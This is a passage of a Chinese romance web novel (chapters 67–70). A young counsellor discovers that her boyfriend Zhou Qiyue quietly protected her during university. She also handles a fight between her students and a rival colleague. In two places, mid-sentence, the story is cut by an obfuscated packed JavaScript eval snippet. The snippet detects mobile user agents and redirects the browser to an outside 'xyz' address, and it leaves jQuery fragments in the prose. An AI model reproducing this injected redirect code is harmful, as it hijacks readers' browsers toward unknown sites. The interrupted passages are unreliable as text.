陈夏柠蹲下去捡,书里面夹着的东西掉落出来,一个书签还有一张照片。 照片翻开看到正面,她瞳孔一滞,神色极为诧异,整个人僵住了三十秒。 照片的取景是在滑雪场,身后有许多人穿着滑雪服,镜头唯独定在了三个人身上。 中间站着一个女生,两边分别站着两个男生,他们仨像是随意往那一站被镜头捕捉。 右边男生戴着滑雪镜挡住了眼睛,只露出利落的下颌,左边男生笑脸比耶,是郑起航。 女生的滑雪镜刚取下,还未完全放下。 陈夏柠简直匪夷所思,照片上的女生是她?! 怪不得第一次见郑起航,就觉得他眼熟。 那照片中右边的男生应该就是周祈越了。 天呐,她竟然和周祈越、郑起航一同合过照。 这是什么时候的事? - 0711:【我觉得《忒修斯之船》不错,实体书很有趣,两个人在书上对话,就像我们写信一样,充满了神秘性。——2016.12.30】 1007:【好嘞,我后天去图书馆借来看看。明天去闵山滑雪,很期待。——2016.12.31】 67. 雪场 原本陈夏柠也不愿回忆大二那年和江逸风的朋友结伴去闵山滑雪。 他说帮她去租借装备,陈夏柠傻傻地站在冷风口等了半小时,发消息问他在哪,江逸风让她找时曼茜要。 隔着屏幕都能清晰感觉到他漫不经心的态度,再对比自己的心急如焚,陈夏柠心口的冰冷比得上这冰天雪地。 反正她被忽略是常态,陈夏柠一边仰着头让自己止住眼泪,一边按照他发的定位走过去。 她不能让别人看出自己不开心,也不想扫了大家游玩的兴致。 毕竟今天是元旦,滑雪场热闹非凡,有很多小朋友,他们都是和爸妈一起来的,有了小孩子的笑声,周遭欢快的气氛烘托到了极点。 也实在容不下伤心人。 陈夏柠找到时曼茜,庆幸她热心陪她去找更衣室穿滑雪服,这衣服穿着也复杂,时曼茜直接上手帮她穿。 “谢谢你了。”陈夏柠讪笑着,跟她找话题,“怎么不见男生们去哪了。” “他们几个在极限比赛呢,赛场那边太危险,他们害怕顾不上我,就没让我跟我去。”时曼茜递给她滑雪板和雪仗,笑容得意,“不过江逸风说,他比赛完就教我滑雪。” “嗯。”陈夏柠盯着地面,眨了下眼,拉着装备跟她走出去。 两人来到人口集聚的平坡,其他人在这里试玩一小会儿,便开始往前冲刺滑坡了。 时曼茜比她学的快,能在平坡游去自如了。 “诶,江逸风,我在这。” 陈夏柠站在距离她十米远处,闻声望过去,江逸风已经阔步来到时曼茜跟前。 “学会了吗?”他问。 时曼茜摇摇头,笨拙地舞动着雪仗,现场给他示范,四肢不协调往前走滑动着。 伴随着女生“啊——”的尖叫,整个人撞进男生怀里。 陈夏柠心口一紧,观望着两人。 时曼茜仍旧没从他怀中起开,小鸟依人地嘤嘤着:“吓死我了。” “好了,爷这就教你。”江逸风抬手轻拍了下她的后背。 陈夏柠只觉得再看下去就是自取其辱,倒吸一口冷气,决绝转身,跟一波人往反方向走。 她自己训练一小会儿,勉强能上手了。 不经意间瞧见身侧来了两位长腿大帅哥,他俩随便往那一站,即使不露脸,就有女生推搡着去要微信。 一般这种情况男生大多乐此不彼,白衣少年已经掏出手机了,而旁边又是另一番景象,蓝衣少年朝女生恭敬地颔首:“抱歉。” 女生受宠若惊般,虽然被拒绝也受到极大尊重,笑着摆手:“没事啊没事。” 陈夏柠不由心生叹息,要是江逸风也这样该多好啊。 他总是不会拒绝主动送上门的女生。 陈夏柠慢腾腾地拖着两脚的双板,拄着滑雪杖想去滑坡试试。 她先是站在一边观摩学习,正准备去尝试,不知是何处传来吼叫:“让一让,快让一让!” 谁知一抬眼,正前方有个人失控地从下坡滑下来,陈夏柠瞳孔一缩,慌里慌张想跑,然而急中出错,再加上她对脚板和手杖控制得本就不灵活。 那人冲来的速度也快,眼瞧着要撞上她,陈夏柠心里来了句,完了。 她闭上眼,一股冲击力袭来,不过好像不对劲儿,这股力量不是来自前方,而是侧面。 没有感觉到疼痛。 天地交相辉映,晕染成一片白色。 一缕光线照射下来,从少年凌厉的下颌,落在女生的头顶。 陈夏柠慢吞吞睁开眼,发觉自己正压在一个人身上,抬起头,是那位蓝衣少年。 他一身深蓝色,松开搭在她腰上的手,伸展双臂摊在雪地上。 白雪皑皑的地面,深蓝和粉色服装相贴,共同酿造一副美景。 陈夏柠眨巴眨巴眼,思考了一小会儿,反应出是他及时救了她。 他也不说话就这么躺着,陈夏柠手掌撑在他身侧,从他身上起开,“你没事吧。” 她移开身体,少年也随之站起来,顺便拉着她的手臂把人带起来。 “你没事就好。”他淡淡道,站在一旁,也没立刻走。 陈夏柠拍了拍身上的雪,转眼看他,真挚地说:“谢谢你。” 话音刚落,那位白衣少年跑过来,将脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745203|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的雪镜取下,笑着打趣:“我可看见英雄救美的场面了啊。” 陈夏柠拍雪的动作一顿,一时不知该怎么接话。看清楚白衣少年的真容,长得的确帅,那个时候还不知道他叫郑起航。 只是觉得旁边这位少年肯定更好看,他挺高冷,话很少,拍了下郑起航的肩膀,“走了。” 郑起航看一眼陈夏柠,随即把他拦住,举起自己的相机,对他俩说:“相逢就是缘分,我们合照留个念呗。” 陈夏柠温吞地点头:“好啊。” 恍然发觉自己糟糕的心情已经烟消云散了。 郑起航把相机递给过路人帮忙拍照,推着蓝衣少年站在她右边,自己站在他右边。 拍照的大叔偏头了眼郑起航,“你俩站在这姑娘两边更好看,身高协调些。” 郑起航这才挪到她左边,不知在别扭什么,让她往右边挪一点再挪一点,陈夏柠感觉自己都要靠到蓝衣少年身边了。 “来来来,看镜头。”大叔正喊着一二三,陈夏柠后知后觉取雪镜,“咔嚓”一声,就拍好了。 她一扭头发现,右边的人没取雪镜,许是阳光太刺眼了。 大叔的老婆催着他快走,匆匆把相机丢给郑起航。 陈夏柠的口袋响起震动声,她掏出手机看消息,群里有人催着他们赶快去入口处汇合,临近中午大家要去吃饭了。 “那个,我朋友还在等我,我先走了。”陈夏柠最后看向蓝衣少年,用祝福表示感谢,“新年快乐。” 即使有护目镜挡住半张脸,他的唇角弯了弯,应该是笑着的:“新年快乐。” 望着少女离去的背影,周祈越这才把脸上的护目镜拿掉,眼眸意味深长,藏着太多心事。 小柠檬,我也只能以这种方式,祝你开心,祝你新年快乐了。 ...... 回忆戛然而止,陈夏柠盯着照片中的自己和身边的蓝衣少年,胸口闷闷的。 这张照片的边角已褪色,为了保护好它,周祈越给它封上了塑封膜。 像是极为珍视这段回忆。 这段在她眼中,不仔细回想都好似不存在的记忆。 68. 捉螃蟹 外面的雨来势汹汹,夹杂着剧烈狂风,小区内纤细的桂花树不堪折,啪啪的碎裂声叫嚣着这个夜晚。 陈夏柠老实待在他房间,甚至这情形今晚是等不回来周祈越了。距离自己的生物钟还早,为打发着时间,她将下午看得断断续续的电影重看一遍。 中间有好几次走神看手机,到了结尾,她还是不知道电影中小女孩的亲生父母是谁,陈夏柠没耐心再看一遍,干脆去网上搜这个电影的解说。原来不是她看漏了,而是导演刻意给观众一个留白。 唉。 没意思。 没想到看个电影反倒给自己添堵了。 她也不知道自己的身世,更不知道为什么周祈越保存着那张照片,还有那本《忒修斯之船》的出现,上面的书签竟然是有她画的卡通图片。 周祈越是不是知道她是1007。 她不曾在信里提及过自己的信息,他什么时候知道了呢。 陈夏柠想得头疼,再加上外面的雷声吓人一跳,她赶紧关闭投影,准备上床睡觉。 正要爬上床,恍然想起这是周祈越的床,不是她的床。 这...这样好么?睡他床上? 要不还是回自己家睡算了。 下一秒,耳边好像蹦出来个小人给她当头一棒—— “你两亲都亲过了,整个下午在客厅桌上,在卧室地毯上亲密得跟睡在一起又什么区别!!!” “......” “有什么不好的,你是他女朋友,睡他床上怎么了,你又不是没睡过,上周在基地发烧不就睡他床上了吗?” “况且周祈越不是让你待在这么,他这是在告诉你,你可以随便使用他的房间。” 经历一分钟的自我说服,陈夏柠心安理得掀开黑色的棉被,心潮澎湃地钻进他被窝里。 他的床很大很软,棉被柔和还散发着洗衣液的清香,应该是刚换洗不久。 陈夏柠觉得周祈越家比自己家还要干净,他这人很注重生活品质,有生活气息,把家里装横得整齐干净。偶尔在阳台放着小植物,这一点跟她很像。 入睡前陈夏柠点开他的微信,自顾自地发了个“晚安”的表情包,他执行任务时也没空看消息。 放下手机,灯一灭,她疲倦地进入睡眠中。 小男孩一边抓螃蟹放入水桶中,一边回头看她,不满道:“小柠檬,你就不能帮我一下?” 小女孩叉着腰,顽劣一笑:“本来想帮你的,你又叫我小柠檬,那我就罚你把这满地的螃蟹都抓起来,晚上回去吃螃蟹大餐!” 这么一看,她像个混世大魔王在欺负小男孩。 小男孩表面不甘,行动却听话,拎着水桶继续忙活,小声嘟囔着:“你最好把这些螃蟹都吃完,第二天变成大胖妞。” “......” 小女孩嘟着嘴,脸色一横:“好啊,你竟然敢诅咒我。” 她大步走过去,一副教训人的样子。 明明她还没做什么,小男孩“哎呀”一声,整个坐在地上,右手捂着左手。 小女孩霍然一惊,看见鲜血从他指缝里流出来,“....你怎么了?” 小男孩一副极为痛苦的表情,“我的手...我的手被毒螃蟹夹了,好疼,好疼啊。” “啊...那怎么办啊...”小女孩慌里慌张地跪蹲在他旁边,揽过他肩膀让她靠在自己怀里,小男孩继续哀嚎着,“小柠檬,我快要死了,你能不原谅我叫你小柠檬啊,其实我觉得这个名字很好听。” “呜呜呜...好。”小女孩一听见他要死了,泪流满面:“我不要你死,我不该让你一个人抓螃蟹的,对不起.....” “......” 看见她哭得愈来愈厉害,小男孩意识到自己玩过头了,急忙从她怀中起开,给她看食指上的小口子,“别哭了,我不会死,你傻不傻,哪有什么毒螃蟹。” 小女孩:“......” 发觉自己被耍了,小女孩就坐在地上撒泼,哭得更厉害了。 这下又轮到小男孩哄她了。 下一刻,陈夏柠从梦中惊醒,这次回忆较为清晰了些。 又想起自己试探江逸风的那句话。 明明是捉螃蟹,受伤的是男生,所以她才哭。 江逸风在说谎。 那个徐医生也很奇怪,为什么要引导她说,男孩是江逸风。 ...... 周六原本是陈夏柠带着学生去飞行基地训练,闹钟铃一响,恰好弹出来林盛发来的消息: 【陈老师,你今天不用带着学生过来了。昨晚台风把基地摧残得一片狼藉,而且长江口多起船只被困,我们教官也要前去支援了。】 陈夏柠看见置顶对话框依旧没回信,给林盛回消息时顺便问周祈越的情况怎么样了。 林盛说,他们飞行员忙活一晚上,天亮才回来,这会儿正在宿舍躺着休息,估计醒来后还得出任务。 Lemon:【嗯嗯好的,辛苦你们了。】 陈夏柠蹙着眉,切换对话框敲字,又想着消息声回吵醒周祈越,干脆全部删掉。 外面的蒙蒙细雨,到了下午两点才算消停,阳光升起,天边架起七色彩虹。 家里食材空了,陈夏柠准备出门逛超市,在衣柜里找出一套平日的穿搭,上身白色毛衣搭配咖啡色半身裙,正给自己披白色毛呢外套。 书记的电话来了,周末给她打电话准没好事。 “陈老师,你快来学校吧,”王书记说,“你的学生池一舟和裴青寂在学校跟人打架了。” 做好心理准备的陈夏柠还是惊住了,万万没想到是两个班最恪守本分的班长。 受伤的学生名叫吴洵,从楼梯上滚了下来,现已被送进医院。 池一舟已经跟随救护车前去,裴青寂留下被书记审完话,陈夏柠赶过来时,他又将事情原委说了一遍。 “导员,他自己不小心从楼梯上掉下来的。”一向沉稳的裴青寂这会儿也不冷静了,“是他剽窃我们青创的作品,我跟池一舟拿着证据找他对峙,谁知吴洵不仅承认这事还威胁我两,最好识趣不要说出去。” 陈夏柠直奔主题:“谁跟他发生的冲突?” “是我。”在此之前,裴青寂早就在学生会接触过吴洵,吴洵是富家子弟,打心底看不上裴青寂这种家境贫寒,还在老师面前“耀武扬威”的人。 当时准备青创作品,他们俩还差一个人组队,池一舟和吴洵关系还行,知道他也在找人组队,想都没想就把吴洵拉到群里。 可是三人共同做策划案时,吴洵一个劲儿地否定裴青寂,最后两人发生口角争执,吴洵干 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“导员你相信我,我没有推他,池一舟也没推他,”裴青寂回想当时的场景,说着看起来很荒谬的话,“是真的,他自己掉下去的。” 这话说给平日看重他的王书记,王书记都一脸怀疑,毕竟谁会自己陷害自己。 “好了,我相信你。”陈夏柠看他急得不成样子,尽量让自己冷静思考,“这事警察已经干预了,你目前很不占优势,我希望你们私了,跟我去医院看看他吧。” “好。” 这件事最棘手的是在于,吴洵跟裴青寂关系不好,最怕他咬死说裴青寂陷害他,而吴洵的导员又是林思,陈夏柠跟林思更不用说了。 裴青寂着实不容易,陈夏柠不想他因为这事学生履历有污点,到医院看望吴洵特意买了点水果,林思也在病房。 吴洵的腿打着石膏,陈夏柠先让裴青寂和池一舟给人道歉,但吴洵一副不领情的模样。 “林老师,方便出去聊吗?” “可以啊。”林思似乎就等她这句话,干脆应声。 两人来到住院处旁边的小花园,陈夏柠开门见山地说:“能不能请陈老师开导一下自己的学生,让他——” “让他不要告你的学生是么?”林思接话茬,意味不明地笑了笑,“你就这么袒护一个施害者啊,不让他受点教训,以后出了社会怎么办,岂不是杀人放火。” “我不是这个意思。”陈夏柠一五一十地说,“这件事有误会,裴青寂最先动手是因为吴洵先侮辱了他,而且他们两找吴洵是因为他剽窃作品在先。” “哦,陈老师可真会颠倒黑白啊。”林思呵呵一笑,“吴洵用的是自己的原创,也是受害人。反倒是陈老师这种袒护学生的行为......” 字里腔调充满阴阳怪气,陈夏柠就知道林思会为难她,还好来医院之前早就做好应对策略:“吴洵参赛的指导老师是你对吧,如果吴洵剽窃的罪名坐实,那么林老师是否也会有影响呢?更何况我这边有足够的证据证明裴青寂创意更早。” 做贼心虚的人往往按捺不住,林思激动地脱口而出:“你最好让你的学生闭好嘴,否则他就等着被处分开除吧。” “.....” 69. 答案 原本陈夏柠也不完全相信裴青寂,只是稍微试探一下林思,现在她这句威胁的话一蹦出来,反倒坐实了她和吴洵有鬼,裴青寂是清白的。 眼下要紧的是让吴洵撤销对裴青寂的指控,陈夏柠暂且咽下一口气,跟林思谈条件:“好,我可以让他们不再追究此事,林老师也去告诉吴洵私人恩怨私下解决,否则张扬起来,大家都不好看。” 林思沉脸,权衡了下利弊,不咸不淡道:“知道了。” 然后眼尾扫她一眼,转身离开。 陈夏柠心里堵得慌,走过去坐在旁边的长椅上,低头看地面,扶额长叹一声气。 这工作不干也罢。 她下意识跳出这个想法,下一秒又冷静一想,不当辅导员她还能干什么呢。 现在工作多难找,硕士学的海事翻译也是鸡肋,国内的薪资待遇还不如辅导员。 正在心烦着,地面蓦然倒映一道人影,陈夏柠以为林思又回来了,不耐烦道:“你还想怎么——” “样”字被硬生生咽下去,面前的女生一如从前那般明媚,笑容可爱,陈夏柠差点以为自己出现幻觉了,愣了好半天。 还是对方先开口:“见到我激动得说不出话了?” “季意?!”陈夏柠忙不迭站起身,又惊又喜,“我们有四年没见了吧,没想到能在这看见你。” “是啊,当年你出国走的急,我们宿舍的毕业照上都没有你。”季意牵起她的双手,颇有感慨地笑了笑,“陈夏柠你变化好大,都敢如此硬气地怼人了。” 陈夏柠怔了三秒:“你刚刚看到我跟同事吵架了?” 季意点点头,眼神示意身后的灌木丛,“我刚才就在那边打电话,你们两一开口说话,我就看到你了,可以啊陈夏柠。” “......” 本科的期间,宿舍里跟她玩的最好的就是季意了,不开心的时候,季意会变着法带她去不同的地方散心。 如今在这碰见,两人都想找个地方坐下来好好叙旧。陈夏柠跟裴青寂发消息告知自己协商的结果,让他先退一步。 裴青寂:【我知道了,谢谢导员。】 Lemon:【没事,你早点回校吧,我遇到朋友先走啦,有问题再联系我。】 收好手机,陈夏柠看向跟自己并排走的季意,现在也不是吃饭的点,想起她大学常去的地方,“附近有家猫咖,要不要一起去?” “好啊。”季意挽着她的胳膊沿着路边走,问她怎么在医院。 陈夏柠说自己是辅导员,学生闯了祸,追问:“那你呢?” “我爸爸生病了,专门带他来海云市做手术。” “啊,伯父还好么?” “没事儿,手术很成功。” “那就好那就好。” 她们去的这家猫咖店面很宽敞,刚开业不久,客流量不多,屋内很安静。 因为小橘子和月牙的出现,陈夏柠现在很喜欢橘猫,抱了一只在怀里,季意选了只纯色的白猫。两姑娘坐在落地窗边的圆桌前,一边撸猫一边欣赏金色的日落。 期间服务员上了两杯饮品,陈夏柠把橘猫放下让它自己玩,专注喝酸酸甜甜的柠檬茶。 季意说起自己的感情生活,交到了个不错的男朋友,“我也到了谈婚论嫁的年纪,估计明年我们就计划着结婚了。” “挺好的,时间过得真快。”陈夏柠把玩着瓶沿的柠檬片,悠悠道,“咱班好多人都结婚了。” “那你呢?”季意将话筒抛给她,意味不明地看她,“不会还执着在那个人吧?” 当年室友三人纷纷鼓励她勇敢一次,给自己这么多年的暗恋一个交代。 结果当晚陈夏柠醉醺醺地被送回来,躺在宿舍床上,做梦都在哭着喊江逸风的名字,埋怨着:“为什么连你也这样......” 季意也就知道情况了,她表白失败了。 好像从那天开始,陈夏柠就变了另一个人,一夜长大似的,大四开学后,宿舍仨选择实习,只有她一个人去图书馆学习,当时还以为她要考研。 后来知道,她只身去国外了。 她该是有多伤心,想逃离这个地方。 陈夏柠也惭愧当年只顾着自己难过,没有跟她们好好告别,说自己已经放下江逸风了。 “而且我现在也有男朋友了。”她说这句话时,洋溢着幸福的笑容。 季意眼前一亮,伸着脖子,兴味盎然地问:“真的假的,他人怎么样,叫什么名字,对你好不好。” “他人不错,对我也很好。”陈夏柠慢吞吞地说,“他是我们的校友,比咱大两届,或许你也听过他的名字。” 季意被她吊足了胃口,语气着急了起来:“到底是谁啊,你别卖关子了。” 陈夏柠抬眼看她,咬字清晰:“周祈越。” 季意的表情并没有预期的惊讶,似乎想起了什么,理所当然道:“原来是他啊,大三那年我好像忘了问你怎么认识他的。” 这话陈夏柠听得云里雾里,“什么意思,我大三就认识他?” 季意也愣了下,“大三下学期啊,就你准备和江逸风表白那晚,周祈越送你回来的啊。” “什么?!”陈夏柠更加一脸茫然了。 那晚季意从宿舍楼出来扔垃圾,宿舍门口恰好停了一辆黑色的车,她路过的时候,主驾驶的车窗降下,露出一张英俊的侧脸,是周祈越。 在此之前,季意只在学校论坛看见过他的照片,以前航海学院没什么帅哥,到他那一届,横空出现很多高颜值人物,周祈越也荣登本校第一届校草的称号,往后就是第二届、第三届校草了。 如今见到真人了,季意没忍住多看两眼,不曾想本人比照片还好看。 倒也纳闷,周祈越怎么出现在女生宿舍门口。 等她扔完垃圾折回来时,周祈越已经下车站在车外了,旁边还站着一个漂亮女生,是周听也,他的妹妹。 原来周祈越是来找妹妹啊。 季意以前参加过绘画,认得周听也,但不是很熟。 她也没准备上前打招呼,从他们身边绕过,听见了些只言片语。 周听也:“哥,我不知道她宿舍号,她叫什么名字啊,我去宿舍阿姨那边查一下。” 周祈越:“陈夏柠。” 闻言,季意脚步一顿,只见周听也小跑着跟她擦肩而过。 “周听也!”她喊住女生,周听也回头。 季意说:“你要找陈夏柠么,我是她室友。” “那太好了!”周听也惊喜一笑,“她喝醉了,你帮我一起扶她回宿舍吧。” 季意挠了挠头,心想陈夏柠竟然会喝酒,喝醉?! 这实在不像平日里安分守己的好学生陈夏柠。 然而被周听也带到车前,周祈越把后车门打开,季意看见里面躺着的人,这才真真正正地相信陈夏柠真喝醉了。 两姑娘合力把她拉出来,一人一边架着她往宿舍里进,陈夏柠还在胡言乱语:“我酒量厉害吧,我赢你们了。” “......” 季意隔空跟周听也喊话:“她这是怎么了,去哪了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769655|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也不太清楚,她是我哥的朋友。”周听也的反应明显是刚见到陈夏柠,否则方才不会问她叫什么名字,“听我哥说,他们几个朋友出去聚会,她喝醉了。就顺便把她捎回来了。” “哦哦。”季意倒也觉得稀奇,原来陈夏柠认识周祈越啊,以前都没听她说过这号人。 学期末,大家都纷纷回家了,宿舍只剩下季意和祝繁,她两等到陈夏柠中午醒来后,安慰了她几句,也匆匆拉着行李赶高铁了。 然后一整个暑假,季意忙着在家那边找实习工作,大四开学也没返校,只是十月份论文开题答辩时,她回来过一次。 两人再也没提过那晚的事,毕竟那晚她肯定是很伤心才喝那么多酒,季意没必要戳她的伤心事。 听完事情的来龙去脉,陈夏柠心慌得厉害,怎么会这样,怎么是周祈越。 她一直以为自己和周祈越的相识是在朝阳岛。 在她最无助走山路时,他骑着电动车从身边而过,站在公路中央问—— “需要我载你一程么?” 这是他们的初见。 可事实证明不是,从很多个细枝末节就可以感受到。 跟他相处的时候,周祈越也未免太了解她了,陈夏柠总感觉他是不一样的,总会有在哪见过他的错觉。 季意还要回医院照看爸爸,没跟她聊太久,陈夏柠打车回家,静静地坐在后座,脑海里闪现一个人。 郑起航。 蓦然想起那天在别墅里的场景,谢泽一直缠着郑起航打听周祈越曾经的暗恋对象。 她偷听到一句话,当时没怎么在意,现在却反复萦绕耳边—— “那天,那姑娘在酒吧借酒消愁被人盯上了,他上前解围,还跟人动手来着.....” 于是,她又捋清很多事情。 她在书信里说,大冬天早上排队去西点房买三明治很痛苦;西点房的师傅说,他为了喜欢的姑娘,大费周章地让西点房多供应鸡蛋火腿味三明治。 她在书信里说自己倒霉,选了海事国际会议翻译;林教授提起那本课,周祈越明明修够了选修课,还选了那门课,说他是为了见某个人。 以及上课期间,她因为生病加受到妈妈的训斥,在教室后面偷抹眼泪,被点到名,慌张无措地正要站起来,身后的少年及时站起来为她解围。 下雨天,她站在廊前等雨停,少年突然出现在身边,往她的连衣帽里塞进折叠伞。当时站在雨幕中,她撑开伞的瞬间,一个柠檬卡片出现在眼前,上面写着“Bestwishforyou”,成为这个雨天的惊喜。 她也在书信里说,自己要去闵山滑雪;当天周祈越出现在闵山,还救了她。 时间再往前推,高二那年,奶茶店她捂着肚子蹲在门口,一位少年朝她递来一杯热水,她一抬头,只看见少年远去的背影。 那些曾经她被忽视,难过伤心的瞬间,都在有人小心呵护着。 那个人是周祈越。 她不敢相象心中的那个结果。 不敢想象周祈越这么多年怎么过来的。 到了家,陈夏柠点开微信群,上次别墅聚会有个群,她加了郑起航的微信,一通电话打过去。 “郑学长,我有个问题想问你。” “你说。” ”我想知道,他曾经的暗恋对象是谁?”陈夏柠之前也好奇过,但一想到这是他的过去,与自己无关,她也就不刻意追究,省得自己听了心里又不爽。 郑起航笑了一下,“你能这么问,想必心里已经有了答案。” 70. 一厢情愿 大一新生那年,郑起航来宿舍见到的第一个室友就是周祈越,当天下午他来的最早,选了个靠窗的位置坐着。 周祈越正低着头,双手捧着手机,聚精会神地玩游戏,盘着双腿窝在椅子的模样,像一尊矜贵的大佛。 也就郑起航拉着行李进屋那一刻,周祈越挪开屏幕三秒,匆匆说了句:“下午好。” 郑起航反应慢半拍,正准备上前自我介绍,他已经戴上耳边,专注跟游戏里的人说话:“快快快,别拖我后腿,本少爷快成全服第一了。” “......” 语气甚是拽,他的气质像个豪门大少爷。 后来两人渐渐熟知,郑起航被他邀请回自己家做客,目睹完周家那豪华的别墅,感叹周大少爷的名号实至名归。 他这人又不是那些纨绔子弟,从不会以高傲的姿态看不起任何人,为人低调不张扬,对待朋友也慷慨。 虽然是宿舍年龄最小的那个,除了张瑞这位老大哥,就属周祈越最沉稳,关键时刻有着超乎常人的定力。 就是第一次班里上游泳课,当天老师姗姗来迟,有几个同学在泳池里胡乱一团,不慎将一位矮个男生纪照按在水中憋气,等人反应过来时发现,纪照不识水性。 纪照被拖上岸时没了气息,在场的所有同学大惊失色,推搡着说赶快叫老师,叫校医。 只有周祈越冲上前,镇定地蹲下调整纪照的躺姿,双手交叉在他胸骨中,非常有节奏地做心肺复苏。 很快,纪照吐出卡在喉咙的水,被及时抢救过来。 这件事惹得全校皆知,涉事的学生被处分,老师被辞退,狠狠地给航海学院的大一新生上了人生最重要的一堂课。 了解事情经过的林清模教授专门见了周祈越,说他这人不浮躁,目标清晰,以后定成大器。 出众的外貌,外加海云高考状元的称号,学校论坛给他封了个首届校草的名号。用谢泽的话来说:“整天下课堵他的女生,都能从校门口排到食堂了。” 可是周祈越压根没看过她们一眼,有人问他是不是找女朋友的标准很高,他只会漫不经心地说:“谁规定大学要谈恋爱了。” 好吧,郑起航笃定他志存高远,不考虑儿女情长,为此还给他竖大拇指:“加油,周船长,中国的航海事业不能没有你。” “......” 就这样,周校草单身两年,那群小迷妹等的花都要谢了。 步入大三,又是一年新生迎新,他们宿舍四个坐在一个帐篷底下给新生登记,起初周祈越心情不错,乐意给新生引路。 又来了个新生,旁边的郑起航照例问:“叫什么名字。” 周祈越正低头看电脑,帮忙录入信息,面前的新生回答:“江逸风。” 几乎是一刹那间,他手边的键盘声消音,椅子被挪开擦地发出尖锐的声响,起身拍了下郑起航,“你来录。” 郑起航茫然地照做,江逸风问他男生宿舍怎么走,因为海大新建宿舍楼,新生也摸不准。 郑起航扫了眼现场,只有周祈越较为空闲,说:“周少爷,你带他去吧。” 周祈越捞起桌上的一瓶冰水,径自从帐篷走开,凉凉道:“我也不认路。” “......” 郑起航只觉得莫名,他吃错什么药了。 没办法,郑起航亲自送江逸风去新生宿舍,到了35号楼,他在门口遇见熟人多聊了几句。 也就是这个空闲,江逸风放下行李从宿舍里出来,一个女生扬着欢快的脚步跑到他跟前,“江逸风,你的车钥匙。” 郑起航当时就站在玻璃门内,闲靠在门口边的贩卖机,喝着冰镇可乐,跟同学聊天,看到门外的两人,江逸风没什么表情地点头,但那女生一看就喜欢他。 过了两分钟,郑起航跟人聊完,拎起未喝完的冰镇可乐,抬脚正要出去,一转身看见周祈越的身影。 他就站在宿舍门口的桂花树下,那棵树光秃秃的,半死不活的模样。 郑起航正想去数落他,让你来送新生你不来,现在又来了,合着非要麻烦我是吧。 却发现周祈越的表情也是一副半死不活的模样,他目光呆滞,定定地望着什么。 郑起航反复却认了半天,这宿舍门口就有两人站在太阳底下,江逸风跟那个女生。 什么情况,周祈越认识他们吗?他好像在看那个女生的背影...... 女生抬眼看他,“听妈妈说,我们每周五一起回家。” “嗯,我以后叫上你。”江逸风抬手揉了下她发顶,“太热了,赶快回寝室吹空调。” “好。”女生笑容又乖又甜,依依不舍地跟他挥手,“我先走啦。” 那女生转身回去,从那颗桂花树路过时,周祈越直接下意识转身,将自己的脸背过去。 这是...什么反应??? 怎么有种苦情剧的桥段。 郑起航总觉得这个场景怪怪的,从没见过这样的周祈越。 平日里阳光自信的大男孩,这会儿小心翼翼,似乎在害怕什么。 后来那个女生出现在航海学院的频率很高,她喜欢江逸风明眼人都能看出来。 每次撞见两人,就是女生拎着盒饭给他:“我今天回家了,我妈妈顺便让我给你带的。” “帮我谢谢阿姨。”江逸风欣然接着。 次数见多了,郑起航就误以为这两人是男女朋友了。 他也知道了那个女生叫陈夏柠,因为海洋资源与环境的实验室和他们专业的航海仿真模拟室在一栋楼,郑起航听见过有同学喊她名字。 一个初秋的早晨下起了蒙蒙细雨,第一节下课后郑起航没完成任务,周祈越待在模拟室等了他一会儿。 他又要上厕所,周祈越就在一楼大厅等他,外面的雨下得更大了,他从口袋里掏出口罩,最近感冒了。 就在这时,陈夏柠抱着一摞书冒雨跑过来,不料在门口铮亮的地板前划了一脚,人没事,怀中的文件夹和课本掉一地。 见状,周祈越撑起伞走过去,陈夏柠正慌张无措地淋雨捡文件夹,忽然感觉头顶的雨不下了。 而郑起航出来也恰好撞见这一幕—— 少女蹲在地上专注捡书本,站在她身后的少年,举起雨伞她撑起一片天。 周祈越身量落阔,平日走路都是腰部挺直,昂首挺胸地看着前方,却在此刻将大片雨伞都给了她,浑然不知后背被雨水打湿,因为低头看她,脊背微弯。 平日骄傲的周少爷,每次撞见陈夏柠,身上无端露出一种自卑。 只有在喜欢的人面前,人才会变得小心翼翼。 上课铃声已经敲响,陈夏柠捡好东西抱在怀里,转身快速冲身后的少年颔了下首:“谢谢你。” 而后快速冲进楼栋,估计都没正眼看他。 周祈越转身去看她背影时,瞧见郑起航在神情复杂地看自己。 回宿舍的路上,郑起航连连叹气好几声:“周祈越啊周祈越,你说说,你喜欢谁不行,怎么就偏偏喜欢上别人的女朋友了呢。” “......” 周祈越握紧伞柄,眸色暗沉,嘴硬道:“你想多了。” 郑起航才不相信,后面两年大学生涯,盯上周祈越对陈夏柠的关照,他总是以一个影子人的方式对她施以援手。 原来,他不是没有喜欢的人,只是喜欢上了一个不喜欢自己的人。 也曾劝过他很多次,周祈越总是说,只是顺手帮忙而已。 毕业以后,他们俩再也没了交集,郑起航觉得周祈越肯定能放下她吧。 谁能想到2018年,他们宿舍四人回校参加航海日,郑起航、张瑞和谢泽在学校餐厅订好包厢,想给他过生日。 等了半天,给他发消息也没人理,其实在回校之前,郑起航就在想,他会不会像学生时代那样偷偷去看陈夏柠。 直到周祈越失魂落魄地出现在包厢门口,喝酒喝到吐,郑起航去厕所跟他搭话,极为肯定的语气:“你是不是又去找她了。” 他肯定去见陈夏柠,或者也撞见了江逸风。 ...... 